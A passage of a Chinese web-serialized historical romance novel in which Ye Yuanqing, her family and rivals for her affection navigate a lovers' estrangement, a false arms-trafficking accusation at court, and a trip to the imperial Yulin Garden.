叶卓坐在了叶元倾的正对面,几乎挡完了叶元倾看傅朝寻的视线。 叶宁审视着叶元倾,好奇地问:“元倾姐姐,你和傅朝寻又吵架了吗?怎么都不对方?” 从门外叶宁就很疑惑,叶元倾疯了一样寻找傅朝寻一个多月,如今傅朝寻回来了,两个人怎么见了面连话都不说了。 叶元倾斟酌着怎么回答。 叶宁见她犹豫着不开口,叹气道:“姐姐,别怄气了,因为温衍你俩差点送命,走到今天实在不容易,他为了救你,亲自捅了自己两剑,现在哪个男人能做到这个份上,吵架冷战虽是常有的事,但是时间久了会很伤感情,不然你先服个软,把他叫来一起用饭。” 叶宁就像突然开窍了一样,说了一番好有道的话。 叶元倾喝了口茶,被叶卓挡住视线也看不清傅朝寻的脸,她轻声道:“是他不我了。” “不你?”叶宁大惊了一声,“他怎么还能不你?” 叶元倾急忙拉住她:“你小声点。” 叶宁疑惑地皱了皱眉,压低了一些嗓音问:“他为何不你?因为温衍?” 叶元倾摇摇头:“我也不知道,好像下了某种决心。” 她想了又想,还是没想明白,他们以前明明说好的以后坦然面对,而他又开始逃避。 叶宁蓦地站了起来:“我去问问他。” “别。”叶元倾又急忙拉住她,“好妹妹,不想让我在这里丢人就安静些吧!” 她可不想在这里和傅朝寻吵架,傅朝寻还带了官兵,万一传到皇家耳朵里,被定个玩忽职守的罪可不好了。 叶宁又气呼呼地坐了下来,怎么也想不通,叹气道:“按说,这么相爱的两个人,不应该闹矛盾的,他是不是误会了什么。” 相爱。 这两个字叶卓听着是那么的刺耳。 他给叶宁倒了一杯茶,温声道:“妹妹稍安勿躁,这世间,最让人捉摸不透的就是男女情爱之事,可能今日爱的死去活来,明日就另觅新欢了,感情不是一成不变的,谁也没有资格捆绑另一个人一生,爱就在一起,不爱就潇洒离开,当然谁都有权利争取,谁都有权利拒绝,没有遇到下一个人之前,谁能保证这一份感情就是永恒。” 叶卓总是有那么多大道,说的叶宁一愣一愣的,但他说的确实很有道。 叶宁眨眨眼看看他,觉得他更优秀了,他好像懂得很多,也不会强人所难。 他以前说他有喜欢的人,因为够不到所以选择埋藏在心底,那他现在有了争取的权利,是不是可以继续争取了? 那他喜欢的人到底是谁呀? “卓哥哥。”她好奇地问:“你喜欢的那个人是谁呀?是准备放弃了,还是继续争取?” 叶宁问的突然,叶卓一时愣住了,半晌才笑了笑。 叶宁见他不肯说,略有失落地问:“那天下大雪,卓哥哥与我说的话还记得吗?” 叶卓点头道:“记得。” 叶宁托腮望着他,很认真地说:“既然记得,那就要兑现,妹妹不管你喜欢的人是谁,此生,只要我不嫁,你就得养我一辈子。我,赖上你了。” 我,赖上你了。 叶宁这话说的好霸道。 叶元倾对她满眼里都是欣赏的神色,她好喜欢叶宁的性格。 叶卓又愣了半晌,本来还有几句有道的话要说说,结果被叶宁一番霸道言语整的说不出来了。 叶宁这是赖上他了,这丫头,还可能不是单纯的赖上他,这该怎么办? “宁儿。”他想了想,道:“你了解哥哥这个人,有时候说话不靠谱,再说了,你怎么能不嫁人,你这么好的姑娘,多少人抢着娶呢!要不然你嫁到禹国去,禹国美男多,你要几个哥哥都给你找。” “你想赖账?”叶宁突然一拍桌子,“谁稀罕美男,我又不好色,要那么多干什么。” 然后她又指了指叶元倾:“元倾姐姐刚和傅朝寻闹掰,你可以给她多找几个美男,最好都是听话的小奶狗。” “你小点声。”叶元倾的脸刷地红了。 叶皱起了眉:“你这些都是跟谁学的?注意点言辞。” 叶宁挑了一下眉:“书上看的,这话不是你挑起来的吗?” “宁儿。”叶卓严肃了起来,“你休要在这里胡闹,你明明知道我说的t?意思。” 叶宁冷哼一声:“我不知道你说的意思,你就是想耍赖。” 叶宁把头别到一旁,气红了双眼,她怎么会听不出他的意思,他就是不想负责之前答应的事。 “好好好。”叶卓见她真生气了,立马妥协了,“你说什么我都答应你,哥哥方才只是给你开玩笑,是哥哥错了。” 叶宁很好哄,见他道歉,立马笑了。 反而叶卓脸色不太好了,无声地叹着气。 叶元倾看着他们,一直都未言,不过她能看出来,叶卓是真的很宠叶宁,只是他自己还没有发觉。以前,任何时候,只要是提到叶宁,他都护的不行,尤其是傅峥临伤害叶宁那段时间,叶卓就像个老父亲,天天愁眉苦脸,一说到傅峥临就恨不得活剥了他。 他和叶宁之间的感情真的很微妙。 人就是如此,错综复杂的感情有时候连当事人都捉摸不清。 店家上了菜,先给傅朝寻那一桌上的。 叶卓见此皱起了眉头,问道:“那份鱼丸羹不是我点的吗?怎么给他们上了?” 鱼丸羹是叶元倾最爱吃的。 上菜的小二行礼道:“不好意思太子,这是侯爷点的,您点的马上就上。” 傅朝寻也点了叶元倾爱吃的鱼丸羹? 店家又给他们上了一份,叶卓先帮叶元倾盛了一碗,又给叶宁盛了一碗。 不一会店小二又端着一盘子虾仁炒青笋过来,叶卓眼看着他端到了傅朝寻的那一桌。 这也是叶元倾爱吃的菜。 叶卓皱着眉,吃饭的心情都没有了。 后面的三四道菜傅朝寻都和他们点的一模一样,并且每一次小二都是先给傅朝寻上。 叶卓觉得他这个太子身份稍微有点憋屈。 他不禁嘀咕道:“怎么老是点跟我一样的菜?莫不是偷看了我们点的菜单?” 叶宁提醒他:“二哥,是人家傅朝寻先点的,然后你再点的,你点的这些全是元倾姐姐爱吃的,傅朝寻和元倾姐姐那么相爱,傅朝寻自然知道她爱吃什么,估计也是照着她的口味点的。” 相爱。 又是相爱。 叶卓一口饭也吃不下了。 叶宁又道:“傅朝寻那么有心,肯定还是惦记着姐姐的,估计冷战两天就熬不住了,到时候肯定还会和元倾姐姐爱的死去活来,我看这么多人中,就傅朝寻最配得上我家元倾姐姐。” 叶宁真是专挑刺激人的话说,怕不是故意的,这小丫头不会看出来他喜欢叶元倾吧! “卓哥哥,你喜欢的人不会是元倾姐姐吧!”叶宁突然问,“不然你怎么点了那么多她爱吃的菜,还总是给她夹菜,又故意挡她看傅朝寻的视线。” 一旦爱上一个人,哪哪都是敏感的,脑子就像开了光一样聪明。 她话一出,顿时鸦雀无声。 叶宁揪了一个烧鹅腿放在叶元倾碟子里,然后又揪了一个,咬了一口,边吃边道:“不过,你喜欢也没有用,已经没有机会了,你也争不过傅朝寻,温衍那样的都争不过,何况你。你以后不准打元倾姐姐的主意,我会死死盯着你。” 他哪里不如温衍? 他哪里不如温衍? 他好歹也是个太子。 “你虽然是个太子。”叶宁吃的满嘴流油,抓起他的袖子擦了擦嘴,继续道:“但是身份并不是爱情的支撑,只有相爱的人在一起才能长久。” “你这都是从哪里学来的?”叶卓又皱起了眉头,满眼里都是震惊。 “书上学的,我最近看了很多感情的书。”叶宁毫不避讳地回道。 叶卓整张脸通红通红,不仅被人说透了心思,还被一个小丫头教育,并且还当着叶元倾的面。 他一句话也说不出来了。 叶元倾见气氛尴尬起来,忙笑道:“宁妹妹是开玩笑的,卓哥哥是我们多年的兄长,就算是喜欢,也是兄妹之情,宁儿以后少看点那种书吧!容易把脑子看坏,有时候书上说的不一定都是对的,妹妹以后若是闷的慌,就经常去找我玩,我教你画画。” 叶宁开心地连连点头,然后又抓起叶卓的袖子擦了擦嘴道:“我方才就是开玩笑的,看把卓哥哥吓的,脸都紫了。” 叶卓感觉被两个小丫头摆了一道,又无力反驳。 他千算万算,怎么也没有算到叶宁突然对他起了歪心思,他要拿她怎么办呀! 叶宁吃完鹅腿又要抓他的袖子擦嘴,她就是故意的。 他无奈地掏出手绢帮她擦着嘴,嘱咐道:“以后吃东西的时候话不要乱讲,容易噎着。” 叶宁嘿嘿一笑道:“知道了二哥哥。” 三个人吃着饭,话说个不停,旁边耳尖的傅朝寻听得一清二楚。 本来他以为这顿饭难以下咽,看来并不是,回头他要好好感谢叶宁。 只是,叶卓和温衍不同,温衍做事急躁,沉不住气,有情绪就发泄出来,追叶元倾也追的用力,这样的人容易让人感动,但也容易耐不住性子,到最后自己搞的一团糟。 但是叶卓藏得深。 虽然不知叶卓何时喜欢上的叶元倾,但是能从这段时间里看出,叶卓是一个心性极佳且有耐力的人,在他和温衍争得死去活来的时候,他一直默默地静候着,等把温衍挤走了,他就少了一个竞争对手,然后在封了太子之后立马赶了过来,准备见缝插针。 他现在有了身份加持,只需要张一张口就能求来一个两国联姻的圣旨,但是他没有,他选择跑来一趟。 诚意最容易打动人,尤其在他和叶元倾这种有隔阂的时候。 这是个难对付的竞争对手,比温衍还难对付。 再看向叶元倾,她整张脸都被叶卓挡住,一点也看不清。 这饭真的吃不下去了。 叶卓自从被叶宁拆穿心思之后收敛了很多,也不再给叶元倾夹菜。 三个人吃完饭,叶卓去结账,结果店家说傅朝寻已经付过了。 叶卓立马黑了脸,掏出一把银票塞给店家,说:“我们自己的饭钱自己付,请你把钱还给他,这些不用找了。” 店家抓着一大把银票傻了眼,不明白这两桌人到底是关系好,还是不好。 三个人出了酒楼,叶宁闹着去湖边划船,叶卓本来不想去,但是又搁不住叶宁闹,最后只好带着俩人去划船。 三人去的路上,叶宁又买了很多东西,总是让叶卓帮她拿着,叶卓以前也习惯了叶宁的使唤,当下一时改不了,任凭她把自己当牛做马。 只是,三个人前面走,后面一批官兵追,准确来说,应该是傅朝寻带着一批官兵依巡逻之由明目张胆地跟踪着。 叶卓在心中叫苦,他真的太难了,完全没有一丁点和叶元倾独处的空间。 三个人到了湖边,叶卓叫了一艘船,他心想,他们把船划的远远的,傅朝寻就不会跟过来了吧!谁承想,傅朝寻又依湖里可能有作案工具之由,叫了几艘船,一边追着他们,一边在湖里装模作样地打捞。 一整个上午,傅朝寻都跟着他们阴魂不散。 三个人划完船,又在街上玩了一会回了府。 叶元倾一到家,就见一家人在前堂里面色凝重地坐着。 她走上前,问道:“出了何事?” 叶元恒紧皱着眉头说:“姜叙那个王八蛋,要害二弟,他今日在朝堂上参二弟以权谋私,与别国互相倒卖兵器。” 与别国互相倒卖兵器?这可是大罪。 “王八羔子。”叶元恒气得整张脸通红,“我就知道让他进兵部会出事,果然还是出事了。当初就不该因为傅朝寻和姜妍的婚事让他进去,现在倒好,一个要害二弟,一个忘恩负义。” 忘恩负义?指的谁?傅朝寻? 叶元恒瞥她一眼,冷笑道:“你这个傻丫头,被感情冲昏了头脑,现在怕不是人家不你了吧!你可知道,傅朝寻昨日密会了姜叙,也许他们是串通好的。” “不可能。”叶元倾急忙为傅朝寻辩解,“傅朝寻不是那种人,他见姜叙代表不了什么。” “那他突然不你,又如何解释?”叶元恒越想越气,“那日,我随你一起去侯府他都不见,后来你自己去找他,他也不见,你告诉我他是什么意思?现在,皇上已经对二弟起了疑心,开始着重调查,二弟什么也没做,倒是不怕他们查,只是闹这么一出事着实让人恶心,姜家那一群王八蛋,没有一个好东西。姜叙不是和二弟师出同门吗?不是整日称兄道弟吗?怎么到头来还让人摆了一道?t?你们两个,以后长点心吧!跟个瞎子似的,别什么人都掏心掏肺。” 叶元恒带着俩人一起骂,这次是真的气急了。 叶元倾又解释道:“大哥你先别着急,这事肯定有问题,傅朝寻他……” “你别替他说话了。”叶元恒又冷哼一声,“那你倒是说说,他为何不你?” 叶元倾一时说不出来。是啊!他为何不她?她也想不明白,今日在街上她应该问一问,是她疏忽了。 “倾儿。”傅青问她,“傅朝寻当真不你了?你可是辛辛苦苦地寻找了他一个多月,他说不就不?” 叶元倾无法解释,低下了头。 傅青皱起眉头,叹气道:“我看傅朝寻也不像那种人,只是他为何突然这般?难不成又是傅亲王给他施了压?” “施什么压?”叶元恒又激动地站了起来,“我看,温家人也铲除了,元倾也没有了利用价值,才不的吧!” “不是。”叶元倾摇头道,“傅朝寻不是那样的人,他是喜欢我的,他一定有苦衷。” “有什么苦衷?”这次问话的是母亲温容,温容心疼地看着她,“倾儿,这一个多月,你为了他茶不思饭不想,整个人都瘦的不成样子,娘亲看着你又心疼又无法,就算是你们一别两宽,各生欢喜,是不是也要给你说个明白?就算有苦衷,是不是也要与你说一声?他每次来,母亲因为可怜他,把他当做亲儿子对待,我们将军府对他如此诚心,他无论如何也不该这般?你和温衍闹到生死地步,难道不也是因为他?” 叶元倾无力反驳,泪水啪嗒啪嗒落下来,嘴里一直说:“一定是有原因的。” 娘亲见她落了泪,眼睛也红了,缓和了点语气道:“倾儿,别难过,娘没有别的意思,娘只是想让你们两个当面说个明白,在一起也好,不在一起也罢,说清楚了,免得模糊不清地伤心难过。” 叶元倾点着头,擦着眼泪道:“我知道了娘,我会解决好。” 叶元恒开始后悔刚才一激动说的那些难听话,走到她跟前,拍了拍她的肩膀道:“别难过了,明日我去找他问个明白,若他还不见,我就去皇宫里堵他,他总得出门,总得上朝。哥哥刚才只是太生气了,妹妹别往心里去。” 叶元倾点着头:“我没事。” 傅青叹着气出了前堂,她现在真的是心有余而力不足,感情的事她是一点也帮不了。 叶元倾回了闺房,趴在桌子上哭了好一会,伶儿给她沏了茶,安慰道:“小姐,别难过,您又不是不知道姑爷的难处,前世他都那么难了还对您不离不弃,今世怎么可能丢下您,一定是有原因的,您给了他七天的时间,就等他七天,七天之后他若不来,您再等七天,若他还不来,您就彻底忘记吧!您不是本来就打算重新开始的吗?既然重新开始,就坚强一点。这世上,好男人又不是他一个,说不定一转眼还能遇到更好的。” 更好的?在她心里,哪有比傅朝寻更好的。 “妹妹!”这时候,叶卓突然过来,手里提了一包东西,一踏进门就说:“今日在街上本来是要给妹妹买苏酪的,可惜回来的匆忙未找到卖家,方才我又去街上给你买的,还是你小时候爱吃的口味。” 叶元倾一听叶卓的声音,急忙擦了擦眼泪,站起身来。 叶卓见她红着双眼,顿住了脚步。 她在哭。 伶儿很有眼色地出了房间,帮他们关上了房门。 “妹妹,怎么了?”叶卓走上前,“方才在街上玩的不是挺开心的吗?有什么烦心事,你告诉哥哥。” 叶元倾又擦了擦眼泪,回道:“我没事,只是二哥遇到了点麻烦。” “二哥遇到了麻烦?”叶卓拉她坐下,轻声问:“什么麻烦?妹妹慢慢说。” 叶元倾道:“姜太傅的儿子姜叙,进了二哥的督稽司以后就一直针对二哥,现在还去皇上那里污蔑他与别国互相倒卖兵器,皇上要着重调查二哥。” “姜叙?”叶卓皱起眉头,“他不是二弟的好友吗?这个人我认识,看起来不像个坏人,就是心眼多点。” “是啊!他平时对二哥也很好,其实二哥也防着他,一直都未让他进兵部。” “那怎么又让他进去了?” 叶元倾没有回答。 叶卓见她又落了泪,很是心疼,安慰道:“妹妹先别难过,我待会就去一趟皇宫,等我把事情弄清楚,我来帮二弟洗清冤屈。” 叶元倾激动地问:“卓哥哥,你有办法帮二哥?” 叶卓轻笑道:“妹妹忘记了,哥哥现在是太子,有很多特权,调查清楚一件事情很容易。姜家那边的人若是想害将军府,哥哥第一个不答应,若是有必要,我会想办法除掉他们。” 叶卓现在是太子,或许真的可以阻止叶家这场灾难。 她感激道:“多谢卓哥哥。” 叶卓笑说:“谢什么,都是一家人,快别哭了,尝尝我给你买的苏酪。” 叶元倾擦干眼泪,终是笑了,端起他买的苏酪吃了一口。 “怎么样?是不是小时候的味道?” “味道一模一样,你在哪里买的?” “我又跑回了我们小时候住的那条街,找到了那位做苏酪的阿婆,阿婆年纪大了,早就不做了,我告诉她,说我家妹妹很喜欢吃,希望阿婆能再做一次,我说起你的名字,阿婆很开心的答应了,她说以后只要你想吃,她都会做。” “谢谢你卓哥哥,跑那么远。” “妹妹不客气,只要你喜欢,哥哥会一直给你买。御林园那边我已经打点好了,后天我们和宁儿一起去好不好?” “好。” —— 这日上朝,叶元恒在城门口等了傅朝寻一个多时辰才等到他,他见他下了马车,二话不说,冲上去就揍了一拳。 傅朝寻一时没站稳脚步,连连后退了几步。 卫知急忙护在傅朝寻身前,问道:“叶公子,你为何突然打我家公子?” “为何?”叶元恒冷笑,“你问问他为何?狼心狗肺,枉费我家妹妹对你一片痴心。” 他说着,跑上前又要揍傅朝寻。 卫知急忙去拦,傅朝寻却把他扯到一旁,又硬生生挨了叶元恒一拳。 叶元恒见他躲也不躲,更生气了,问道:“你告诉我,到底是为何?若有难处,你说出来,我们一起面对一起解决,我只希望你别辜负我家妹妹。” “傅朝寻,是个男人就别做缩头乌龟。” 第58章 第 58 章 “别动,这里安全,先亲…… 叶元恒最后一拳落下去的时候明显没有那么疼, 他只是拳头握得紧,咬牙切齿的,看起来很用力, 实际上也不舍的打。 傅朝寻没有因为他这个冲动行为而生气, 反而很开心,他越生气就代表叶家人越在乎他,叶元倾越爱他。 但是叶元倾确实为此受到了伤害,叶元恒过来揍他合情合,他不觉得委屈。 叶元恒骂着骂着,见傅朝寻眼神渐渐忧伤起来,倒是越来越没劲了, 他看着傅朝寻,还是始终无法相信这样一个总是付出百倍努力的人会这样轻易地伤害元倾。 宫门前路过很多上朝的官员, 看到二人在此争执,纷纷猜测起来。 傅朝寻和叶家的事情闹得沸沸扬扬,如今这二人突然动起手来,也不知又出了什么事。 将军府的二公子叶元萧最近遇到了麻烦, 一向廉洁的他竟然被人指控以权谋私倒卖兵器,挺让人惊讶的。 这两日, 朝上朝下都在为此事争论不止,太傅大人更是带领多位官员揪着叶元萧不放。 未来的将军府,指望的就是叶元萧, 若是他被除掉了,将军府离落败也不远了。 叶元萧现在掌管的督稽司是整个兵部的核心, 他办事能力强,一直都管的很好,可是谁承想, 他师出同门的好兄弟姜叙进入兵部以后,他就频繁出事,还有人说姜叙马上就要取代叶元萧。 狗急了还要跳墙,叶家人暴躁起来也不为怪。 叶元恒见傅朝寻依旧沉默不语,深知现在也问不出个什么,只好警告他:“若是想好了以后不再和元倾来往,最好是永远别出现在她面前,否则我会见一次打一次。” 傅朝寻没做声。 上朝的人越来越多,叶元恒叶不便再与他纠缠,丢下此话便离开了。 傅朝寻站在原地,伸手擦了擦被叶元恒揍出血的嘴唇,不禁笑了。 一旁的卫知既心疼又疑惑地问:“公子,您怎么还t?笑呢?您有委屈不说,这不是白白挨揍吗?” 卫知叹着气,往后看了一眼,那几个人不知何时又跟了过来,因为是皇上派来的,明知道有人跟踪他们又无可奈何,这个节骨眼上不能出岔子,他们只能咬牙再坚持坚持。 傅朝寻没有回答卫知的话,反而又笑了一声,然后上了马车,继续向皇宫里赶去。 今日整个朝会讨论的都是叶元萧,甚至还有几位官员又拿出叶绍管码头不当一事要求撤职。 叶家陷入了水深火热之中。 朝会即将结束时,傅朝寻站出来提议接管京北码头,并且还附上了他做的码头改革以及贸易往来的新计划,皇上看后,龙颜大悦,当场就收回了叶绍的执掌权,交给了傅朝寻。 傅朝寻也恢复了大寺卿的职位,如今他三个身份加持,一跃成了小辈中最位高权重的一位。 傅朝寻夺走京北码头彻底惹恼了叶家人,叶元倾的伯父太师大人为此愤恨不已,开始暗中调查准备向傅朝寻还击。 将军府里也没有人再敢提起傅朝寻,在大家心中,傅朝寻成了“忘恩负义”“恩将仇报”的白眼狼。 虽然说他是白眼狼过分了一些,但是他最近的迷惑行为确实把人恨的牙痒痒,他不仅和太傅大人走得越来越近,还经常与姜叙一起吃饭下棋,甚至多次向皇上举荐梁修,然后把梁修调到了大寺担任重要职务。 叶家人解不了他最近的行为,但是叶元倾渐渐察觉出有些不对,傅朝寻好像选择了一个既快捷又危险的方法。 他又准备一个人扛下所有。 叶元倾在隐隐有这种意识之后,不知是该惊还是该喜。 这日傍晚,叶卓带着好消息过来,说在经过他多次给叶元萧作证之后,皇上答应慎重调查和考虑叶元萧与别国互相倒卖兵器一事,并且还会调查姜叙是否存有造假污蔑的行为。 大家听后高兴不已,觉得叶卓帮了将军府的大忙。 祖母把叶卓留下来用饭,娘亲还亲自给他做了一桌子丰盛的饭菜,里面还有他最爱吃的小花鱼。 叶元倾也很感谢叶卓,觉得他有了太子身份之后办事效率高了许多,也为他的初心不变感到开心。 用了晚饭之后,几个人在后花园里散步,他们说说笑笑,不一会叶元恒和叶元萧就没了影,只留下叶元倾和叶卓。 二人继续漫步在花园中,夜晚的风很清凉,但是夜空中的月亮却很亮。 叶卓总是有很多话题聊,和叶元倾从小时候的往事聊到人生哲,从人生哲又聊到家国情怀,他还能把一些名人的诗词歌赋参悟的很深。 他是一个博学广才的人,虽然比叶元倾大了七岁,但是从思想境界上并未显得很老,甚至还有很多别人没有的独特见解。 这样的人,以后做了皇帝,也是一个能造福百姓的好皇帝。 两个人聊了很长时间,期间叶卓会有意无意地说一些暧昧的话,叶元倾听了只是沉默不语。 夜风虽凉,但是吹得人格外清醒。 叶元倾送走叶卓以后,在远门外站了很久。 已经过去三天了,傅朝寻怎么还不来呢? —— 傅朝寻一直都有睡前看书的习惯,他洗漱完以后穿了件洁白的衣衫坐在桌前看书,不一会,卫知过来说傅呈延来了。 卫知满心好奇,傅呈延一直都很高傲,从来不会去亲王府里任何一个人的住处,若有事找他还得去客房里等着。 他今日突然来园亭居,实在稀罕。 傅朝寻准备起身去前堂里见他,结果他已经不请自来踏进了书房。 傅朝寻自搬来这个院子以后还从未让外人进来过,傅呈延突然进来有点措不及防。 傅朝寻请他坐下,让卫知给他端了上好的茶。 傅呈延依旧穿得干净又金贵,身上永远都是一尘不染,连头发都梳得一丝不苟,他这个人极其干净还特别注重保养,什么人参鹿茸等一些昂贵的补品从来没有断过,他把自己养的肤质莹润精神抖擞,全身上下那种高不可攀气质不是一般人能匹及的。 他长相很好,骨骼清奇,眉清目朗,说话时眼神里总带着一丝傲慢,不过语音还算温和。乍一看和傅朝寻长得很像,但是仔细看又是两种不同风格。 两兄弟站在一起,单看长相和气质不分上下,不过傅朝寻是习武之人,又经常在外奔波,比傅呈延多了一些坚韧不拔和英勇不屈的魅力。 傅呈延进屋落座后,先是扫视了一圈书房的布置,然后把目光落在傅朝寻面前的书卓上,桌子上的书,他单看颜色和厚度就知晓是什么书,其中有几本也是他最近在看的。 桌子上还放着一个雕花精致的木盒子,从花纹款式来看是装礼品用的,并且还是女儿家用的,盒子不算小,占用了不少位置,傅朝寻把它放在这里,可见对它的重视程度有多高。 他穿了一件单薄的白色衣衫,从简单的束发和装扮中可以看出已经洗漱过了。 他时下略有惊讶和防备的表情应该也是在介意他突然冒昧而来。 他这个弟弟,打小就对他有很强的防备心。 傅朝寻见他落座后并未急着说话,就知道他这次突然探访是有目的的,他们二人自幼疏离,尤其是成年以后傅呈延屡次抢功,让傅朝寻极其厌烦。 在傅朝寻心里,傅呈延就是徒有知识没有作战实力的草包。 他在悬崖昏迷那日,傅呈延突然上山把他带走是他没有预料到的,但是能够猜出他的目的是什么,也许温家突然落败并不在他和父亲的计划之中。 “大晚上过来什么事?”傅朝寻率先开口,连兄长也不叫。 傅呈延看向他,眼里露出点笑意,说:“我听说你结接管了京北码头,过来祝贺你,顺便把户部的一些事情交给你处,不知你能否忙得过来。” 祝贺。 傅朝寻不相信他是真心祝贺。 户部权力从前朝开始就多有王爷掌管,一路延续下来,到父亲手里就成了最多掌权者。 父亲把名誉给了傅呈延,实权还握在自己手中,他只交给了傅呈延一小部分职务,现在傅呈延又拿着这一小部分职务来找他帮忙,也不知是什么目的。 来者不拒,傅朝寻答应道:“你放心交给我,我一个常年三更睡五更起的人,能挤出大把时间来处。” 傅呈延见他爽快答应,笑道:“朝寻还是如此有能力,不过你身体刚恢复好,还是多注意休息,我让人去北疆买了一些修复伤疤的药,这几日就能到,到时候你多用用,应该不会留下太明显的伤疤。” 北疆,那么遥远的地方,他倒是挺有心的。 傅朝寻只是“嗯”了一声,并不想与他多说话。 傅呈延又看了一眼他桌子上的木盒子,低声问:“你和元倾姑娘如何了?你们和温衍的事情闹得沸沸扬扬,大哥也听说了一些,如今你也大了,是该考虑考虑婚事了。” 傅朝寻没想到他会突然问起这个,很有戒备看他一眼。 傅呈延并不在意他冷下来的眼神,又道:“元倾姑娘长大后我见过几次,她的样貌才华算是京城女子中最出众的,以前我们住在叶家的时候,她才刚出生,软软糯糯的小小一个,非常让人喜欢。她自幼就爱笑,笑起来还特别有感染力,她现在也到了成婚的年纪,想娶她的人很多,只是能入她眼的人并且不多,以前一直以为温衍能与她走到最后,没想到还是一拍两散了。” 自傅呈延说起元倾这两个字,傅朝寻就皱起了眉头,他记得傅呈延去年还与王妃提过要去将军府提亲,他现在说这话又是什么意思。 傅呈延见他目光又冷了几分,继续笑说:“那么优秀的姑娘挑挑拣拣也不为过,爱慕她的人多也不稀奇,若是朝寻真的对她有意思,回头大哥帮你打听打听她的心意。” “大哥又依什么身份帮我打听?”傅朝寻冷声问他。 “长兄如父,你的婚事,哥哥很在意。” “父亲健在,你自己都未娶妻,你在意我的婚事干什么?” 兄弟俩两三句话就能起冲突,从小时候就是,傅朝寻讨厌傅呈延虚伪,傅呈延也讨厌傅朝寻不近人情。 房间里顿时鸦雀无声。 过了一会,傅朝寻打开傅呈延总是盯着看的木盒子,把叶元倾送给他的礼品一一掏出来给他看,沉声道:“这些都是元倾送给我的,我们两个早已情定终生,虽然可能会遇到点阻碍t?,但是相爱的人定能终成眷属。所以,我和她的事情,你就别费心了,你也与禹国公主订了婚,日后会成为禹国的驸马爷,面子上又会风光不少,在父亲眼里也显得更优秀一些,父亲也会更疼爱你一些。你有那么多事情要忙,请别来□□的闲心。” 闲心。 这像是他能说出来的话。 从他三岁起,每次因为被人骂扫把星哭着要找娘亲,他都会背着他跑很远的路到娘亲坟前祭拜,那也是他在操闲心? 傅呈延在心中冷笑。 房间里又安静下来。 “我要休息了。”傅朝寻想赶他走,冷着脸实在不想看到他。 傅呈延站起身,话也未说就转身离开了。 兄弟俩又闹掰了。 卫知见傅呈延走了,急忙进屋看傅朝寻,见他脸色很难看,小心翼翼地问道:“公子,又吵架了?” 傅朝寻没说话,回了卧房。 卫知见他心情不好,也没敢再问,帮他宽衣后出了房间。 傅朝寻躺在床上,回想傅呈延说起叶元倾时的神情和语气,越想越生气。 从小到大,只要他看上的东西傅呈延都要多看几眼。 记得儿时有段时间父亲好不容易对他转变了态度,多给了他一点关怀,结果,傅呈延就开始天天缠着父亲,缠的父亲再也没有时间看他。 他吃的用的,他的功劳,他的一切一切傅呈延都惦记着。 现在,竟然敢试探性地惦记起叶元倾。 傅朝寻气的一夜未眠。 翌日一早,卫知又跑来说:“公子,叶卓带着叶元倾和叶宁去了御林园。” 御林园? 一般人进不去的地方。 “怎么能一下进去那么多人?”傅朝寻挑了身衣服,疑惑地问。 卫知帮他着头发,回道:“现在他是太子,能进去御林园也不稀奇,叶宁是他在叶家的妹妹,带上她应该也不算难。元倾姑娘有门票,自然也能进去。” “元倾有门票?”傅朝寻很是震惊,“御林园的门票连皇亲贵戚都难得到,她怎么会有?” 卫知无声地叹了口气,小声说:“听说是叶卓以前送给她的。” 叶卓以前送的? 傅朝寻穿衣服的手僵挺住,蹙眉问:“他以前怎么会有这种东西?” 卫知又在心里叹气,犹豫了片刻,觉得还是说了吧!便道:“据我打听到的是,叶卓为了圆叶元倾一个十二岁的愿望,去御林园求了五年,参加了多次御林园的考试才得拿到了门票。” 五年? 五年? 傅朝寻顿时感觉一道雷劈在了身上。 卫知立马安慰道:“公子,他们二人以前是兄妹,哥哥给妹妹完成生日愿望也不奇怪,叶卓一向对家里的兄弟姐妹都很好,他对叶宁也很好,若是叶宁许这个愿望,他也会为叶宁这么做。” 怎么会,那可是五年,谁能这么有耐力为了争取一张门前努力五年。 除非非常非常爱对方。 傅朝寻本来因为傅呈延郁闷了一晚上,时下听到这些更烦躁了,也有些慌。 他在衣柜里又重新挑了一件更好看的衣服,麻利的穿在身上,洗漱完以后话也不说就往院外走。 卫知在身后问他:“公子,您要去哪里?” 傅朝寻不回答,牵来了一匹快马。 “公子,您慢着,您要去哪……”卫知话音还没落下,人就已经没影了。 叶元倾一大早就起床好好装扮了一番,拿着叶卓送给她的门票去和叶卓叶宁会合。 三个人坐上了去御林园的马车。 今天叶卓打扮的十分精致,穿了一袭淡蓝色锦衣,看起来如朗风明月。 叶宁也精心装扮了一番,紧挨着叶卓坐着,胳膊一直挽着他,时不时地把头枕在他的肩膀上,还像以前一样一点不避讳。 叶卓倒也没有因为她这样不自在,可能以前习惯了。 叶宁好奇地问叶元倾:“姐姐,你这票是傅朝寻送给你的吗?听说御林园的票一票难求,他怎么这么厉害,竟然能为你争取到票。” 叶元倾看了看叶卓,不准备隐瞒她,笑说:“这是卓哥哥以前送给我的,他说为了这张票费了不少功夫。” “卓哥哥?”叶宁蓦地坐直了身子,拧眉看叶卓,“你从以前就打元倾姐姐的主意了?” 叶卓的脸刷地红了,尴尬地张了张口,没说话。 叶宁不满道:“你为何不多要一张送给我?” 叶元倾安慰她:“妹妹别难过,你现在是依太子最亲近人的身份进的,这待遇一般人享受不了,比这张票金贵多了。” 叶宁想了想,点点头道:“元倾姐姐说的是,还好他带上了我,不然我又要骂他破坏别人感情乱插一脚。” 破坏别人感情? 乱插一脚? 叶卓眉头一皱,使劲推了叶宁一把,冷声道:“你别挨着我。” 叶宁一把抱住他的胳膊:“我就挨着你。” 叶卓往一旁挪了挪,叶宁又追了追,说:“你明知道元倾姐姐喜欢傅朝寻,你还要插足,你这就是在故意破坏别人的感情,这话要是传出去,丢人的只有你。” 他什么时候成了破坏别人的感情,他喜欢叶元倾的时候,傅朝寻还不知道在哪里。 叶卓脸都气黑了,又使劲推了叶宁一把。 叶宁冷哼一声,起身就要下车:“我不去了。” 叶元倾也跟着说:“妹妹不去,我也不去了。” 叶卓见状立马拉住了叶宁,叹着气道:“好好好,都怪我,怪我不该给元倾妹妹争取这张票。” 叶宁见他妥协了,又重新坐下,与叶元倾对视一眼,偷偷笑了。 今天本来是个开心的日子,叶卓却一直拉着脸,他真的对叶宁无可奈何。 三个人进了御林园,均被里面的场景和布置惊艳到了。 里面开设了很多个馆藏区,还有非常神秘的考古区。 御林园很大,路线也多,东拐西拐,不一会就把叶宁拐迷糊了。 叶宁知识浅薄,又不爱动脑子,看着那些名书名画就像看天书一样,只有看稀奇古怪的东西她才有点兴趣。 而叶元倾与她恰恰相反,她看的仔细,走得也很慢。 